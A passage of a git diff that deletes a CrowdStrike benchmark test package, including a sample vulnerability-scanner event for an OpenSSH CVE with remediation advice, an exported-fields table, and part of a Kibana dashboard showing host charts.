-                        "recommendation_type": "recommended",
-                        "reference": "1:9.6p1-3ubuntu13.8",
-                        "title": "Update ubuntu openssh",
-                        "vendor_url": "https://www.openssh.com"
-                    }
-                ],
-                "ids": [
-                    "4688299d207b35a192828bdaf556ecf8",
-                    "df1af7df1d33382398fb0dc268109a4d"
-                ]
-            },
-            "status": "open",
-            "suppression_info": {
-                "is_suppressed": false,
-                "reason": "Not applicable"
-            },
-            "updated_timestamp": "2025-02-25T13:33:23.000Z",
-            "vulnerability_id": "CVE-2025-26465"
-        }
-    },
-    "data_stream": {
-        "dataset": "crowdstrike.vulnerability",
-        "namespace": "35952",
-        "type": "logs"
-    },
-    "ecs": {
-        "version": "8.17.0"
-    },
-    "elastic_agent": {
-        "id": "9a4ac145-5b4f-4734-92fb-2c1dd1254ed4",
-        "snapshot": true,
-        "version": "8.18.0"
-    },
-    "event": {
-        "agent_id_status": "verified",
-        "category": [
-            "vulnerability"
-        ],
-        "dataset": "crowdstrike.vulnerability",
-        "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b",
-        "ingested": "2025-08-22T08:33:35Z",
-        "kind": "event",
-        "original": "{\"aid\":\"897580adb4ab4540a357536faa41de18\",\"app\":{\"product_name_normalized\":\"openssh\",\"product_name_version\":\"openssh 1:9.6p1-3ubuntu13.4\",\"vendor_normalized\":\"Ubuntu\"},\"apps\":[{\"evaluation_logic\":{\"aid\":\"897580adb4ab4540a357536faa41de18\",\"cid\":\"2cd98db1a47b4c98b913c94d43bfab70\",\"complex_check_operator\":\"AND\",\"created_timestamp\":\"2025-02-20T10:15:30Z\",\"id\":\"138bd6a67791327ab367838079b4d786\",\"logic\":[{\"comparison_check\":\"equals\",\"comparisons\":{\"state_comparisons\":[{\"entity_comparisons\":[{\"actual_value_field\":\"version\",\"operation\":\"equals\",\"value_datatype\":\"string\"}],\"entity_operator\":\"AND\"}],\"state_operator\":\"OR\"},\"determined_by_comparison\":true,\"existence_check\":\"Yes\",\"id\":\"logic-12345\",\"negate\":false,\"status\":\"active\",\"title\":\"Evaluation Logic for OpenSSH\",\"type\":\"comparison\"}],\"updated_timestamp\":\"2025-02-25T13:33:23Z\"},\"patch_publication_date\":\"2025-02-19T00:00:00Z\",\"product_name_normalized\":\"openssh\",\"product_name_version\":\"openssh 1:9.6p1-3ubuntu13.4\",\"remediation\":{\"ids\":[\"4688299d204b35a192828bdaf556ecf8\"]},\"remediation_info\":{\"minimum_id\":\"df1af7df1d33382398fb0dc268109a4d\",\"patch_publication_date\":\"2025-02-19T00:00:00Z\",\"recommended_id\":\"4688299d207b35a192828bdaf556ecf8\"},\"sub_status\":\"open\",\"vendor_normalized\":\"Ubuntu\"}],\"cid\":\"2cd98db1a47b4c98b913c94d43bfab70\",\"closed_timestamp\":\"2025-02-26T10:00:00Z\",\"confidence\":\"confirmed\",\"created_timestamp\":\"2025-02-20T10:10:24Z\",\"cve\":{\"base_score\":6.8,\"cisa_info\":{\"due_date\":\"2025-03-01\",\"is_cisa_kev\":false},\"cwes\":[\"CWE-123\"],\"description\":\"A vulnerability was found in OpenSSH...\",\"exploit_status\":30,\"exploitability_score\":1.6,\"exprt_rating\":\"MEDIUM\",\"id\":\"CVE-2025-26465\",\"impact_score\":5.2,\"published_date\":\"2025-02-18T19:15:00Z\",\"references\":[\"https://ubuntu.com/security/CVE-2025-26465\"],\"remediation_level\":\"O\",\"severity\":\"MEDIUM\",\"spotlight_published_date\":\"2025-02-19T05:32:00Z\",\"types\":[\"Vulnerability\"],\"vector\":\"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N\"},\"data_providers\":[{\"ports\":[22,80],\"provider\":\"Falcon sensor\",\"rating\":\"high\",\"scan_id\":\"scan-123456\",\"scan_time\":\"2025-02-20T12:00:00Z\",\"scanner_id\":\"scanner-xyz\"}],\"host_info\":{\"asset_criticality\":\"Critical\",\"groups\":[{\"id\":\"group-123\",\"name\":\"Production\"}],\"has_run_container\":false,\"host_last_seen_timestamp\":\"2025-02-18T00:00:00Z\",\"hostname\":\"ub24-50-10-154\",\"internet_exposure\":\"No\",\"local_ip\":\"1.128.0.0\",\"machine_domain\":\"example.local\",\"managed_by\":\"Falcon sensor\",\"os_version\":\"Ubuntu 24.04\",\"platform\":\"Linux\",\"product_type_desc\":\"Server\",\"service_provider\":\"AWS\",\"service_provider_account_id\":\"123456789012\",\"system_manufacturer\":\"Dell\",\"tags\":[\"production\",\"security\"]},\"id\":\"897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b\",\"remediation\":{\"entities\":[{\"action\":\"Update ubuntu openssh to version 1:9.6p1-3ubuntu13.8 or newer\",\"id\":\"4688299d207b35a192828bdaf556ecf8\",\"link\":\"https://ubuntu.com/security/CVE-2025-26465\",\"recommendation_type\":\"recommended\",\"reference\":\"1:9.6p1-3ubuntu13.8\",\"title\":\"Update ubuntu openssh\",\"vendor_url\":\"https://www.openssh.com\"}],\"ids\":[\"4688299d207b35a192828bdaf556ecf8\",\"df1af7df1d33382398fb0dc268109a4d\"]},\"status\":\"open\",\"suppression_info\":{\"is_suppressed\":false,\"reason\":\"Not applicable\"},\"updated_timestamp\":\"2025-02-25T13:33:23Z\",\"vulnerability_id\":\"CVE-2025-26465\"}",
-        "type": [
-            "info"
-        ]
-    },
-    "host": {
-        "id": "897580adb4ab4540a357536faa41de18",
-        "ip": [
-            "1.128.0.0"
-        ],
-        "name": "ub24-50-10-154",
-        "os": {
-            "name": "Ubuntu 24.04",
-            "platform": "Linux",
-            "type": "linux"
-        }
-    },
-    "input": {
-        "type": "cel"
-    },
-    "message": "A vulnerability was found in OpenSSH...",
-    "observer": {
-        "product": "Falcon sensor",
-        "type": "sensor",
-        "vendor": "Crowdstrike"
-    },
-    "package": {
-        "name": "openssh"
-    },
-    "related": {
-        "hosts": [
-            "ub24-50-10-154"
-        ],
-        "ip": [
-            "1.128.0.0"
-        ]
-    },
-    "tags": [
-        "preserve_original_event",
-        "preserve_duplicate_custom_fields",
-        "forwarded",
-        "crowdstrike-vulnerability"
-    ],
-    "vulnerability": {
-        "description": "A vulnerability was found in OpenSSH...",
-        "enumeration": "CVE",
-        "id": "CVE-2025-26465",
-        "reference": [
-            "https://ubuntu.com/security/CVE-2025-26465"
-        ],
-        "report_id": [
-            "scan-123456"
-        ],
-        "scanner": {
-            "vendor": "Crowdstrike"
-        },
-        "score": {
-            "base": 6.8
-        },
-        "severity": "Medium"
-    }
-}
-```
-
-**Exported fields**
-
-| Field | Description | Type |
-|---|---|---|
-| @timestamp | Event timestamp. | date |
-| crowdstrike.vulnerability.aid |  | keyword |
-| crowdstrike.vulnerability.app.product_name_normalized |  | keyword |
-| crowdstrike.vulnerability.app.product_name_version |  | keyword |
-| crowdstrike.vulnerability.app.vendor_normalized |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.aid |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.cid |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.complex_check_operator |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.created_timestamp |  | date |
-| crowdstrike.vulnerability.apps.evaluation_logic.data_provider |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.host_info.entities_matched.asset_id |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.id |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparison_check |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.actual_value_field |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.expected_value |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.operation |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.value_datatype |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_operator |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_operator |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.description |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.determined_by_comparison |  | boolean |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.existence_check |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.id |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.items |  | nested |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.arch |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.comparison_result |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.epoch |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.evr |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.filepath |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.item_type |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.name |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.release |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.subexpression |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.version |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.negate |  | boolean |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.status |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.title |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.type |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.checks |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.data |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.found |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.id |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.match_required |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.negate |  | boolean |
-| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.title |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.updated_timestamp |  | date |
-| crowdstrike.vulnerability.apps.patch_publication_date |  | date |
-| crowdstrike.vulnerability.apps.product_name_normalized |  | keyword |
-| crowdstrike.vulnerability.apps.product_name_version |  | keyword |
-| crowdstrike.vulnerability.apps.remediation.ids |  | keyword |
-| crowdstrike.vulnerability.apps.remediation_info.minimum_id |  | keyword |
-| crowdstrike.vulnerability.apps.remediation_info.patch_publication_date |  | date |
-| crowdstrike.vulnerability.apps.remediation_info.recommended_id |  | keyword |
-| crowdstrike.vulnerability.apps.sub_status |  | keyword |
-| crowdstrike.vulnerability.apps.vendor_normalized |  | keyword |
-| crowdstrike.vulnerability.cid |  | keyword |
-| crowdstrike.vulnerability.closed_timestamp |  | date |
-| crowdstrike.vulnerability.confidence |  | keyword |
-| crowdstrike.vulnerability.created_timestamp |  | date |
-| crowdstrike.vulnerability.cve.actors |  | keyword |
-| crowdstrike.vulnerability.cve.base_score |  | double |
-| crowdstrike.vulnerability.cve.cisa_info.due_date |  | date |
-| crowdstrike.vulnerability.cve.cisa_info.is_cisa_kev |  | boolean |
-| crowdstrike.vulnerability.cve.cwes |  | keyword |
-| crowdstrike.vulnerability.cve.description |  | keyword |
-| crowdstrike.vulnerability.cve.exploit_status |  | long |
-| crowdstrike.vulnerability.cve.exploitability_score |  | double |
-| crowdstrike.vulnerability.cve.exprt_rating |  | keyword |
-| crowdstrike.vulnerability.cve.id |  | keyword |
-| crowdstrike.vulnerability.cve.impact_score |  | double |
-| crowdstrike.vulnerability.cve.name |  | keyword |
-| crowdstrike.vulnerability.cve.published_date |  | date |
-| crowdstrike.vulnerability.cve.references |  | keyword |
-| crowdstrike.vulnerability.cve.remediation_level |  | keyword |
-| crowdstrike.vulnerability.cve.severity |  | keyword |
-| crowdstrike.vulnerability.cve.spotlight_published_date |  | date |
-| crowdstrike.vulnerability.cve.types |  | keyword |
-| crowdstrike.vulnerability.cve.vector |  | keyword |
-| crowdstrike.vulnerability.cve.vendor_advisory |  | keyword |
-| crowdstrike.vulnerability.data_providers.ports |  | long |
-| crowdstrike.vulnerability.data_providers.provider |  | keyword |
-| crowdstrike.vulnerability.data_providers.rating |  | keyword |
-| crowdstrike.vulnerability.data_providers.scan_id |  | keyword |
-| crowdstrike.vulnerability.data_providers.scan_time |  | keyword |
-| crowdstrike.vulnerability.data_providers.scanner_id |  | keyword |
-| crowdstrike.vulnerability.host_info.asset_criticality |  | keyword |
-| crowdstrike.vulnerability.host_info.asset_roles |  | keyword |
-| crowdstrike.vulnerability.host_info.confidence_label |  | keyword |
-| crowdstrike.vulnerability.host_info.groups.id |  | keyword |
-| crowdstrike.vulnerability.host_info.groups.name |  | keyword |
-| crowdstrike.vulnerability.host_info.has_run_container |  | boolean |
-| crowdstrike.vulnerability.host_info.host_last_seen_timestamp |  | date |
-| crowdstrike.vulnerability.host_info.hostname |  | keyword |
-| crowdstrike.vulnerability.host_info.instance_id |  | keyword |
-| crowdstrike.vulnerability.host_info.internet_exposure |  | keyword |
-| crowdstrike.vulnerability.host_info.local_ip |  | ip |
-| crowdstrike.vulnerability.host_info.machine_domain |  | keyword |
-| crowdstrike.vulnerability.host_info.managed_by |  | keyword |
-| crowdstrike.vulnerability.host_info.os_build |  | keyword |
-| crowdstrike.vulnerability.host_info.os_version |  | keyword |
-| crowdstrike.vulnerability.host_info.ou |  | keyword |
-| crowdstrike.vulnerability.host_info.platform |  | keyword |
-| crowdstrike.vulnerability.host_info.product_type_desc |  | keyword |
-| crowdstrike.vulnerability.host_info.service_provider |  | keyword |
-| crowdstrike.vulnerability.host_info.service_provider_account_id |  | keyword |
-| crowdstrike.vulnerability.host_info.site_name |  | keyword |
-| crowdstrike.vulnerability.host_info.subsidiaries |  | keyword |
-| crowdstrike.vulnerability.host_info.system_manufacturer |  | keyword |
-| crowdstrike.vulnerability.host_info.tags |  | keyword |
-| crowdstrike.vulnerability.host_info.third_party_asset_ids |  | keyword |
-| crowdstrike.vulnerability.id |  | keyword |
-| crowdstrike.vulnerability.network_scan.network_scan_info.scan_id |  | keyword |
-| crowdstrike.vulnerability.network_scan.network_scan_info.scan_time |  | keyword |
-| crowdstrike.vulnerability.remediation.entities.action |  | keyword |
-| crowdstrike.vulnerability.remediation.entities.id |  | keyword |
-| crowdstrike.vulnerability.remediation.entities.link |  | keyword |
-| crowdstrike.vulnerability.remediation.entities.patch_publication_date |  | date |
-| crowdstrike.vulnerability.remediation.entities.recommendation_type |  | keyword |
-| crowdstrike.vulnerability.remediation.entities.reference |  | keyword |
-| crowdstrike.vulnerability.remediation.entities.title |  | keyword |
-| crowdstrike.vulnerability.remediation.entities.vendor_url |  | keyword |
-| crowdstrike.vulnerability.remediation.ids |  | keyword |
-| crowdstrike.vulnerability.services.port |  | long |
-| crowdstrike.vulnerability.services.protocol |  | keyword |
-| crowdstrike.vulnerability.services.transport |  | keyword |
-| crowdstrike.vulnerability.status |  | keyword |
-| crowdstrike.vulnerability.suppression_info.is_suppressed |  | boolean |
-| crowdstrike.vulnerability.suppression_info.reason |  | keyword |
-| crowdstrike.vulnerability.updated_timestamp |  | date |
-| crowdstrike.vulnerability.vulnerability_id |  | keyword |
-| data_stream.dataset | Data stream dataset. | constant_keyword |
-| data_stream.namespace | Data stream namespace. | constant_keyword |
-| data_stream.type | Data stream type. | constant_keyword |
-| event.dataset | Event dataset. | constant_keyword |
-| event.module | Event module. | constant_keyword |
-| input.type | Type of filebeat input. | keyword |
-| log.offset | Log offset. | long |
-
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c.json
deleted file mode 100644
index 0e73c6db93..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c.json
+++ /dev/null
@@ -1,747 +0,0 @@
-{
-    "attributes": {
-        "controlGroupInput": {
-            "chainingSystem": "HIERARCHICAL",
-            "controlStyle": "oneLine",
-            "ignoreParentSettingsJSON": {
-                "ignoreFilters": false,
-                "ignoreQuery": false,
-                "ignoreTimerange": false,
-                "ignoreValidations": false
-            },
-            "panelsJSON": {},
-            "showApplySelections": false
-        },
-        "description": "Overview of the CrowdStrike Host Logs.",
-        "kibanaSavedObjectMeta": {
-            "searchSourceJSON": {
-                "filter": [],
-                "query": {
-                    "language": "kuery",
-                    "query": ""
-                }
-            }
-        },
-        "optionsJSON": {
-            "hidePanelTitles": false,
-            "syncColors": false,
-            "syncCursor": true,
-            "syncTooltips": false,
-            "useMargins": true
-        },
-        "panelsJSON": [
-            {
-                "embeddableConfig": {
-                    "enhancements": {
-                        "dynamicActions": {
-                            "events": []
-                        }
-                    },
-                    "hidePanelTitles": false,
-                    "savedVis": {
-                        "data": {
-                            "aggs": [],
-                            "searchSource": {
-                                "filter": [],
-                                "query": {
-                                    "language": "kuery",
-                                    "query": ""
-                                }
-                            }
-                        },
-                        "description": "",
-                        "id": "",
-                        "params": {
-                            "fontSize": 12,
-                            "markdown": "## **Crowdstrike**\n\n### Navigation\n\n[Overview](/app/dashboards#/view/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750) \n\n[FDR](/app/dashboards#/view/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f)  \n\n[Falcon](/app/dashboards#/view/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750) \n\n[Alert](/app/dashboards#/view/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c)\n\n**Host**\n\n[Vulnerability](/app/dashboards#/view/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5)\n\n### Overview\n\nThis dashboard shows statistics about the different hosts collected from the Crowdstrike Host/Device API.\n",
-                            "openLinksInNewTab": false
-                        },
-                        "title": "",
-                        "type": "markdown",
-                        "uiState": {}
-                    }
-                },
-                "gridData": {
-                    "h": 17,
-                    "i": "2676352c-5dfb-46c3-9c78-243d73fd2176",
-                    "w": 14,
-                    "x": 0,
-                    "y": 0
-                },
-                "panelIndex": "2676352c-5dfb-46c3-9c78-243d73fd2176",
-                "title": "Table of Contents",
-                "type": "visualization"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "description": "",
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-200a15f3-d229-4812-ab0c-0241c9ca974e",
-                                "type": "index-pattern"
-                            },
-                            {
-                                "id": "logs-*",
-                                "name": "af92b18a-b19c-4eea-88d7-7eef6ca7cea7",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "200a15f3-d229-4812-ab0c-0241c9ca974e": {
-                                            "columnOrder": [
-                                                "b974dbbc-5ef2-4a53-bdb1-c8e089e39c8a",
-                                                "a73f0321-68b2-4319-9d06-3eb2eb117191"
-                                            ],
-                                            "columns": {
-                                                "a73f0321-68b2-4319-9d06-3eb2eb117191": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                },
-                                                "b974dbbc-5ef2-4a53-bdb1-c8e089e39c8a": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Host OS Platform",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "a73f0321-68b2-4319-9d06-3eb2eb117191",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "size": 5
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "host.os.platform"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "field": "data_stream.dataset",
-                                        "index": "af92b18a-b19c-4eea-88d7-7eef6ca7cea7",
-                                        "key": "data_stream.dataset",
-                                        "negate": false,
-                                        "params": {
-                                            "query": "crowdstrike.host"
-                                        },
-                                        "type": "phrase"
-                                    },
-                                    "query": {
-                                        "match_phrase": {
-                                            "data_stream.dataset": "crowdstrike.host"
-                                        }
-                                    }
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "categoryDisplay": "default",
-                                        "layerId": "200a15f3-d229-4812-ab0c-0241c9ca974e",
-                                        "layerType": "data",
-                                        "legendDisplay": "show",
-                                        "metrics": [
-                                            "a73f0321-68b2-4319-9d06-3eb2eb117191"
-                                        ],
-                                        "nestedLegend": false,
-                                        "numberDisplay": "percent",
-                                        "primaryGroups": [
-                                            "b974dbbc-5ef2-4a53-bdb1-c8e089e39c8a"
-                                        ],
-                                        "truncateLegend": false
-                                    }
-                                ],
-                                "shape": "pie"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsPie"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 17,
-                    "i": "cfed76fa-d3ba-450b-8c8b-03a7e2834f7a",
-                    "w": 16,
-                    "x": 14,
-                    "y": 0
-                },
-                "panelIndex": "cfed76fa-d3ba-450b-8c8b-03a7e2834f7a",
-                "title": "Host over OS Platform [Logs CrowdStrike]",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "description": "",
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-b6c130c0-83a9-4114-a597-1044d0ee891a",
-                                "type": "index-pattern"
-                            },
-                            {
-                                "id": "logs-*",
-                                "name": "4275918f-e9ad-4439-b16c-190021e6a4dd",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "b6c130c0-83a9-4114-a597-1044d0ee891a": {
-                                            "columnOrder": [
-                                                "980e0385-d489-4539-b0c8-3926472b30b0",
-                                                "d016ebe9-0bc9-4877-b874-045c3c619a6c"
-                                            ],
-                                            "columns": {
-                                                "980e0385-d489-4539-b0c8-3926472b30b0": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Hostname",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "d016ebe9-0bc9-4877-b874-045c3c619a6c",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "host.hostname"
-                                                },
-                                                "d016ebe9-0bc9-4877-b874-045c3c619a6c": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "field": "data_stream.dataset",
-                                        "index": "4275918f-e9ad-4439-b16c-190021e6a4dd",
-                                        "key": "data_stream.dataset",
-                                        "negate": false,
-                                        "params": {
-                                            "query": "crowdstrike.host"
-                                        },
-                                        "type": "phrase"
-                                    },
-                                    "query": {
-                                        "match_phrase": {
-                                            "data_stream.dataset": "crowdstrike.host"
-                                        }
-                                    }
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "accessors": [
-                                            "d016ebe9-0bc9-4877-b874-045c3c619a6c"
-                                        ],
-                                        "layerId": "b6c130c0-83a9-4114-a597-1044d0ee891a",
-                                        "layerType": "data",
-                                        "position": "top",
-                                        "seriesType": "bar_stacked",
-                                        "showGridlines": false,
-                                        "xAccessor": "980e0385-d489-4539-b0c8-3926472b30b0"
-                                    }
-                                ],
-                                "legend": {
-                                    "isVisible": true,
-                                    "position": "right",
-                                    "shouldTruncate": false,
-                                    "showSingleSeries": false
-                                },
-                                "preferredSeriesType": "bar_stacked",
-                                "title": "Empty XY chart",
-                                "valueLabels": "hide"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsXY"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 17,
-                    "i": "be658e9b-1f41-424b-a975-ab42befcb77e",
-                    "w": 18,
-                    "x": 30,
-                    "y": 0
-                },
-                "panelIndex": "be658e9b-1f41-424b-a975-ab42befcb77e",
-                "title": "Host over Hostname [Logs CrowdStrike]",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "description": "",
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-ae6624d7-cc20-420b-994e-e9da30ce9d7e",
-                                "type": "index-pattern"
-                            },
-                            {
-                                "id": "logs-*",
-                                "name": "a10dc271-d00d-4766-8ec4-28fe3978afea",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "ae6624d7-cc20-420b-994e-e9da30ce9d7e": {
-                                            "columnOrder": [
-                                                "55ced9a5-9461-4aba-a522-92fad79ab843",
-                                                "dabab91c-4be8-4356-969c-270e7f21d6ba"
-                                            ],
-                                            "columns": {
-                                                "55ced9a5-9461-4aba-a522-92fad79ab843": {
-                                                    "customLabel": true,
-                                                    "dataType": "ip",
-                                                    "isBucketed": true,
-                                                    "label": "Host IP",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "dabab91c-4be8-4356-969c-270e7f21d6ba",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "host.ip"
-                                                },
-                                                "dabab91c-4be8-4356-969c-270e7f21d6ba": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "field": "data_stream.dataset",
-                                        "index": "a10dc271-d00d-4766-8ec4-28fe3978afea",
-                                        "key": "data_stream.dataset",
-                                        "negate": false,
-                                        "params": {
-                                            "query": "crowdstrike.host"
-                                        },
-                                        "type": "phrase"
-                                    },
-                                    "query": {
-                                        "match_phrase": {
-                                            "data_stream.dataset": "crowdstrike.host"
-                                        }
-                                    }
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "accessors": [
-                                            "dabab91c-4be8-4356-969c-270e7f21d6ba"
-                                        ],
-                                        "layerId": "ae6624d7-cc20-420b-994e-e9da30ce9d7e",
-                                        "layerType": "data",
-                                        "position": "top",
-                                        "seriesType": "bar_stacked",
-                                        "showGridlines": false,
-                                        "xAccessor": "55ced9a5-9461-4aba-a522-92fad79ab843"
-                                    }
-                                ],
-                                "legend": {
